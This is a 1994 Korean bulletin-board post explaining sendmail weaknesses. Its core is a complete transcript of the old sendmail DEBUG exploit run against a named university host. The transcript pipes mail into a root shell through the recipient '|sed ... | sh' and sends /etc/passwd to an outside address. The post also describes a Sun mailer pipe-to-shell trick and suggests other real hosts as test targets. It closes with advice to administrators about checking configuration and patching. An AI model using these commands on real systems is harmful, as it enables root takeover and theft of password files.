KoreaUniv

[알림판목록 I] [알림판목록 II] [글목록][이 전][다 음]
[ KoreaUniv ] in KIDS
글 쓴 이(By): what ()
날 짜 (Date): 1994년07월30일(토) 17시21분24초 KDT
제 목(Title): sendmail? 이란


stmp란 말을 다들 알고 있을 것이다.
이것은 메일을 보내는 프로토콜로 메일 
프로그램과 동일시하여 사용하기도 하는 용어이다.
smtp는 sendmail이란 데몬과 같은 의미로 사용하기도
하는데 sendmail은 메일 데몬 프로그램의 이름이다.

이 메일 데몬은 보안이 취약한 것으로 악명이 높다.
sendmail의 컨피규레이션 화일인 /etc/sendmail.cf
를 잘못 설정한다든가 버그가 있는 sendmail을 사용할
경우 남들에게 시스템을 개방해 주는 것과 마찬가지가
된다. 

sendmail을 잘 이용할 경우, 외부의 침입자는 패스워드
없이 금방 관리자의 권한을 얻을 수 있게 된다. 

이러한 취약성은 sendmail이 메일을 프로그램이나 화일로
직접 보낼 수 있도록 되어 있는 데 있다. 

89년 이전의 sendmail들에는 debug 기능들이 있다.
debug는 sendmail이 직접 프로그램으로 메일을 보내거나
화일로 메일을 보내거나를 가능하게 하는 기능이다.

sendmail의 프로토콜이 ASCII로 정해져 tcp 프로토콜 
위애서 수행하므로 telnet을 통해 이를 확인해 볼 수 있다. 

예를 들어 타이컴은 1984년의 sendmail을 사용하는 것이
보통이므로 예를 들어 ticom.yonsei.ac.kr이나 silla.snu.ac.kr
과 같은 호스트는 좋은 실험 대상이 될 수 있을 것이다.

senmail의 well-known port number 가 25번 이므로 다음과 같이
수행하면 된다. 
telnet ticom.yonsei.ac.kr 25

그럼 실례를 들어 보자.

telnet ticom.yonsei.ac.kr 25
Trying 165.132.35.21 ...
Connected to ticom.yonsei.ac.kr.
Escape character is '^]'.
220 ticom.yonsei.ac.kr Sendmail Version 1.40/1.1 ready at Sat, 30 Jul 94 
17:05:42 KST
>> helo
250 ticom.yonsei.ac.kr Hello , pleased to meet you
>> debug
200 Debug set
>> mail from : </dev/null>
queuename: assigned id AA07620, env=4a08c
setsender(</dev/null>)

--parseaddr(</dev/null>)
parseaddr-->4a0a0=</dev/null>: mailer 0 (local), host `', user `/dev/null'
        next=0, flags=0, alias 0
        home="P", fullname="P"
250 </dev/null>... Sender ok
>> rcpt to : <|sed '1,/^$/d' | sh | exit 0>
--parseaddr(<|sed '1,/^$/d' | sh | exit 0>)
parseaddr-->5236c=<|sed '1,/^$/d' | sh | exit 0>: mailer 4 (ether), host 
`kiet', user `$/d'.|.sh.|.exit.0@|sed.'1,/'
        next=0, flags=0, alias 0
        home="P", fullname="P"

recipient: 5236c=<|sed '1,/^$/d' | sh | exit 0>: mailer 4 (ether), host 
`kiet', user `$/d'.|.sh.|.exit.0@|sed.'1,/'
        next=0, flags=10, alias 0
        home="P", fullname="P"
250 <|sed '1,/^$/d' | sh | exit 0>... Recipient ok
>> data
354 Enter mail, end with "." on a line by itself
>> mail kids@kids.kotel.co.kr < /etc/passwd 
>> .
EOH
----- collected header -----
Received: ?sfrom s .by j (v/Z)
        id i; b
Resent-Date: a
Date: a
Resent-From: q
From: q
Full-Name: x
Return-Receipt-To: 
Subject: 
Location: ETRI; Republic of Korea
Telephone: +82 42 820 6735
Resent-Message-Id: <t.i@j>
Message-Id: <t.i@j>
----------------------------

SENDALL: mode b, sendqueue:
5236c=<|sed '1,/^$/d' | sh | exit 0>: mailer 4 (ether), host `kiet', user 
`$/d'.|.sh.|.exit.0@|sed.'1,/'
        next=0, flags=10, alias 0
        home="P", fullname="P"

recipient: 4a0a0=</dev/null>: mailer 0 (local), host `', user `/dev/null'
        next=0, flags=1, alias 0
        home="P", fullname="P"
queueing AA07620
queueing 5236c=<|sed '1,/^$/d' | sh | exit 0>: mailer 4 (ether), host `kiet', 
user `$/d'.|.sh.|.exit.0@|sed.'1,/'
        next=4a0a0, flags=10, alias 0
        home="P", fullname="P"
<|sed '1,/^$/d' | sh | exit 0>: mailer 4 (ether), host `kiet', user 
`$/d'.|.sh.|.exit.0@|sed.'1,/'
        next=4a0a0, flags=10, alias 0
        home="P", fullname="P"
250 Ok

====finis: stat 0 e_flags 1
dropenvelope 4a08c id=<null> flags=1
<|sed '1,/^$/d' | sh | exit 0>: mailer 4 (ether), host `kiet', user 
`$/d'.|.sh.|.exit.0@|sed.'1,/'
        next=4a0a0, flags=10, alias 0
        home="P", fullname="P"
disconnect: In 6 Out 5
>> quit
221 ticom.yonsei.ac.kr closing connection

====finis: stat 0 e_flags 1
dropenvelope 4a08c id="AA07609" flags=1
Connection closed by foreign hostv.

위의 예에서 ">>" 부분은 상대편에서 sendmail로 보낸 메시지이다. 
쨞endmail은 이것을 명령으로 생각하여 (프로토콜의 일부) 처리한다.
>> 의 메시지는 사람이 직접 타이프할 수도 있다. 
>> 의 뒤에 debug의 부분을 유의해서 살펴보면, 일반적인 경우와는
다르게 debug 명령어가 수행되었다는 점이다. 
debug 모드가 되면 메일 시스템에 대한 정보와 그 밖의 시스템 상태
를 알 수 있으며 메일을 프로그램으로 보낼 수 있다.
위의 예에서 rec쨒pient가 "|쨞ed '1,/^$/d'|sh|exit 0"으로 되어 있는데
이것은 프로그램인 sed에 메일의 내용을 보내겠다는 뜻이다.
이렇게 되면 메일의 헤더 부분을 제외한 부분이 sh의 스크립트로 수행되며
이 때, root와 같은 그룹에 속하는 sh이 수행되어 금방 루트의 권한을
도용할 수 있다. 

예제에서는 단순히 mail을 보내는 것으로 그쳤으나 더욱 심각한 사태가 
발생할 수도 있다.

따라서 호스트의 운영자는 sendmail.cf에 대한 자세한 이해를 통해
debug가 enable되었는지를 항상 체크하고, (W로 시작하는 줄을 살핀다)
기타 여러가지 사항을 잘 본다(그 밖에 메일 구조 자체가 위험성을
내포하는 경우가 있다.)

그리고 debug가 enable되어 있지 않더라도 프로그램으로 메일을 보낼
수 있는 경우가 종종 있는데, 이것은 mailer의 버그에서 비롯된다.

Sun의 경우 패치되지 않은 mailer에서 
mail from : <| sh>과 같이 첫번째 메일을 프로그램에서 보낸 것으로 하고
존재하지 않는 사용자에게 rcpt to : none 메일을 보내면, 
mailer가 다음 메일을 프로그램을 보내는 것을 허락한다. 

그 밖의 경우, daemon으로 메일을 보내어 시스템에 접근할 수  있는 
버그와 같은 경우도 있다.

이러한 문제를 해결하기 위해서 운영자는 항상 패치를 받아 문제가 
있는 프로그램을 패치해야 한다. 
그렇지 않을 경우 언제 공격을 받게 될 지 알 수 없다. 

고대에 있는 운영자 여러분덜은 이제 문제의 심각성을 아셨을 꺼라구 
믿고 오늘은 이만 총총

:-)
[알림판목록 I] [알림판목록 II] [글 목록][이 전][다 음]
키 즈 는 열 린 사 람 들 의 모 임 입 니 다.